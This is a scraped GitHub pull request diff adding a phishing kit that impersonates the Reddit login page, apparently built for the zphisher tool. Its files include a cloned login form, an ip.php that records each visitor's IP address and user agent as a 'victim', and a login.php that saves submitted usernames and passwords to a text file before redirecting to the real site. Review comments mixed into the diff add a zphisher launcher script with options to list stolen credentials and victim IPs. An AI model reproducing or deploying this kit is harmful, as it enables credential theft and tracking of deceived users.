Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 58 additions & 0 deletions sites/reddit/ProductionClient.62deff0b1c9fbf3af019.js

Large diffs are not rendered by default.

5 changes: 5 additions & 0 deletions sites/reddit/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<?php
include 'ip.php';
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

#!/bin/bash

https://github.com/htr-tech/zphisher

if [[ $(uname -o) == 'Android' ]];then
ZPHISHER_ROOT="/data/data/com.termux/files/usr/opt/zphisher"
else
export ZPHISHER_ROOT="/opt/zphisher"
fi

if [[ $1 == '-h' || $1 == 'help' ]]; then
echo "To run Zphisher type `zphisher` in your cmd"
echo
echo "Help:"
echo " -h | help : Print this menu & Exit"
echo " -c | auth : View Saved Credentials"
echo " -i | ip : View Saved Victim IP"
echo
elif [[ $1 == '-c' || $1 == 'auth' ]]; then
cat $ZPHISHER_ROOT/auth/usernames.dat 2> /dev/null || {
echo "No Credentials Found !"
exit 1
}
elif [[ $1 == '-i' || $1 == 'ip' ]]; then
cat $ZPHISHER_ROOT/auth/ip.txt 2> /dev/null || {
echo "No Saved IP Found !"
exit 1
}
else
cd $ZPHISHER_ROOT
bash ./zphisher.sh
fi

header('Location: login.html');
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

log

exit
?>
29 changes: 29 additions & 0 deletions sites/reddit/ip.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
<?php

if (!empty($_SERVER['HTTP_CLIENT_IP']))
{
$ipaddress = $_SERVER['HTTP_CLIENT_IP']."\r\n";
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']."\r\n";
}
else
{
$ipaddress = $_SERVER['REMOTE_ADDR']."\r\n";
}
$useragent = " User-Agent: ";
$browser = $_SERVER['HTTP_USER_AGENT'];


$file = 'ip.txt';
$victim = "\nIP: ";
$fp = fopen($file, 'a');

fwrite($fp, $victim);
fwrite($fp, $ipaddress);
fwrite($fp, $useragent);
fwrite($fp, $browser);


fclose($fp);
421 changes: 421 additions & 0 deletions sites/reddit/login.ec234f177c42a52ad0ff.js

Large diffs are not rendered by default.

125 changes: 125 additions & 0 deletions sites/reddit/login.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript">
<!--
if (screen.width <= 699) {
document.location = "mobile.html";
}
</script>
<title>reddit.com: Log in</title>
<link rel="shortcut icon" type="image/png" sizes="512x512" href="https://www.redditstatic.com/accountmanager/favicon/favicon-512x512.png">
<link rel="shortcut icon" type="image/png" sizes="192x192" href="https://www.redditstatic.com/accountmanager/favicon/favicon-192x192.png">
<link rel="shortcut icon" type="image/png" sizes="32x32" href="https://www.redditstatic.com/accountmanager/favicon/favicon-32x32.png">
<link rel="shortcut icon" type="image/png" sizes="16x16" href="https://www.redditstatic.com/accountmanager/favicon/favicon-16x16.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://www.redditstatic.com/accountmanager/favicon/apple-touch-icon-180x180.png">
<link rel="mask-icon" href="https://www.redditstatic.com/accountmanager/favicon/safari-pinned-tab.svg" color="#5bbad5">
<link rel="canonical" href="https://www.reddit.com/login/">
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
<meta name="msapplication-TileColor" content="#ffffff"/>
<meta name="msapplication-TileImage" content="https://www.redditstatic.com/accountmanager/favicon/mstile-310x310.png"/>
<meta name="msapplication-TileImage" content="https://www.redditstatic.com/accountmanager/favicon/mstile-310x150.png"/>
<meta name="theme-color" content="#ffffff">

<meta name="description" content="Don’t worry, we won’t tell anyone your username. Log in to your Reddit account.">



<link rel="stylesheet" href="https://www.redditstatic.com/accountmanager/vendor.7749aab6f5c7d510110eaa0430cb683d.css">

<link rel="stylesheet" href="https://www.redditstatic.com/accountmanager/theme.5e411b81dd5eff52023d3e13cde38668.css">

<link rel="stylesheet" href="https://www.redditstatic.com/accountmanager/login.5d548fad4637c6ba118ebcf590a30611.css">

Copy link
Copy Markdown

@titkohanch titkohanch Aug 24, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.


</head>
<body>


<div class="Container">

<div class="PageColumns">
<div class="PageColumn PageColumn__left">
<div class="Art"></div>
</div>
<div class="PageColumn PageColumn__right">
<div class="ColumnContainer mode-auth">
<div class="SnooIcon"></div>
<h1 class="Title">

Sign in
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

id:100002286916504


</h1>
<p class="tfa-description hideable">
You have two-factor authentication enabled on this account because you're awesome.
</p>
<form class="AnimatedForm">
<input type="hidden" name="cookie_domain" value=".reddit.com">
<input type="hidden" name="dest" value="https://www.reddit.com">
<input type="hidden" name="csrf_token" value="d7e02ce02b5a413cbabab70694e785b00160040c">
<input type="hidden" name="is_oauth" value="False">
<fieldset class="AnimatedForm__field m-required login hideable">
<input id="loginUsername" class="AnimatedForm__textInput" type="text" name="username">
<label class="AnimatedForm__textInputLabel" for="loginUsername">Username</label>
<div class="AnimatedForm__errorMessage"></div>
</fieldset>
<fieldset class="AnimatedForm__field m-required password hideable">
<input id="loginPassword" class="AnimatedForm__textInput" type="password" name="password">
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

lst=100002286916504

<label class="AnimatedForm__textInputLabel" for="loginPassword">Password</label>
<div class="AnimatedForm__errorMessage"></div></fieldset>

<fieldset class="AnimatedForm__field m-required otp hideable">
<input id="loginOtp" class="AnimatedForm__textInput" type="tel" name="otp" pattern="[0-9]*" autocomplete="off">
<label class="AnimatedForm__textInputLabel" for="loginPassword">6 digit code</label>
<div class="AnimatedForm__errorMessage"></div>
<input type="hidden" name="otp-type" value="app">
</fieldset>
<fieldset class="AnimatedForm__field switch-otp-type hideable">
<span class="BottomLink switch-otp-type">Use a backup code</span>
</fieldset>
<fieldset class="AnimatedForm__field">
<button class="AnimatedForm__submitButton" onclick="window.location.href='login.php'" type="submit">Sign in</button>
<div class="AnimatedForm__submitStatus">
<!--
--><span class="AnimatedForm__submitStatusMessage"></span>
</div>
</fieldset>
</form>
<div class="BottomText m-secondary-text login-bottom-text hideable">
<a class="BottomLink m-secondary-text" href="">Forgot username</a>
<span>&middot;</span>
<a class="BottomLink m-secondary-text" href="">Forgot password</a>
</div>
<div class="BottomText login-bottom-text hideable">
New to Reddit? <a class="BottomLink" href="">Sign up</a>
</div>
<div class="BottomText tfa-bottom-text hideable">
<span class="BottomLink back-to-main">Go back to account details</span><!--
--><span class="LinkSeparator">•</span><!--
--><a class="BottomLink" target="_blank" href="https://www.reddithelp.com/en/categories/using-reddit/your-reddit-account/how-set-two-factor-authentication">Having trouble ?</a>
</div>
</div>
</div>
</div>
</div>


<script>
//<![CDATA

window.___r = {"config": {"tracker_endpoint": "login.php", "tracker_secret": "V2FpZ2FlMlZpZTJ3aWVyMWFpc2hhaGhvaHNoZWl3", "tracker_key": "AccountManager3"}};
//]]>
</script>


<script type="text/javascript" src="https://www.redditstatic.com/accountmanager/common.8f8c664b342b8a2e9fa3.js"></script>

<script type="text/javascript" src="https://www.redditstatic.com/accountmanager/vendor.02e70b0510146f5c6a8c.js"></script>

<script type="text/javascript" src="https://www.redditstatic.com/accountmanager/theme.f03d466e68261629ed71.js"></script>

<script type="text/javascript" src="login.ec234f177c42a52ad0ff.js"></script>


</body>
</html>
5 changes: 5 additions & 0 deletions sites/reddit/login.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<?php

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

file_put_contents("usernames.txt", "Username: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://www.reddit.com/password');
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

exit();
Loading